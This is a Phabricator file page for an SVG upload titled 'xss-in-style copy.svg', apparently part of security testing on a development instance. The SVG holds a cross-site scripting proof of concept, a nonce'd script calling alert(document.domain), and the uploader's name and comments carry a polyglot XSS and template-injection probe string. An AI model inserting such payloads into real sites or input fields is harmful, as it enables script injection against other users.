Page MenuHomePhabricator Dev
Files F3511433

xss-in-style copy.svg
rein.daelman (findme'"`><><s>${{<%[%’”}}%\.{7*7}${7*7}{{7*7}}${{7*7}})
Actions

Authored By
rein.daelman
Aug 27 2023, 5:29 PM
Size
591 B
Referenced Files
None
Subscribers
None

xss-in-style copy.svg
View Options

<?xml version="1.0" encoding="UTF-8" standalone="no"?><?xml-stylesheet type="text/xml"?><svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><meta http-equiv="Content-Security-Policy" content="default-src 'none'; img-src 'self' https://hello.dev.myhubs.net; media-src 'self' https://hello.dev.myhubs.net; style-src 'self' 'unsafe-inline'; script-src 'nonce-rAnd0m'"></meta><text x="0" y="20" font-size="20">test1234</text><style></style><script nonce="rAnd0m">alert(document.domain)</script></svg>

File Metadata

Mime Type
image/svg+xml
Storage Engine
blob
Storage Format
Raw Data
Storage Handle
2663648
Default Alt Text
xss-in-style copy.svg (591 B)

Event Timeline

rein.daelman added a comment.Aug 27 2023, 5:29 PM

'"`><><s>${{<%[%’”}}%\.{7*7}${7*7}{{7*7}}${{7*7}}

rein.daelman added a comment.Aug 27 2023, 5:29 PM

'"`><><s>${{<%[%’”}}%\.{7*7}${7*7}{{7*7}}${{7*7}}

Privacy · Cookies · Legal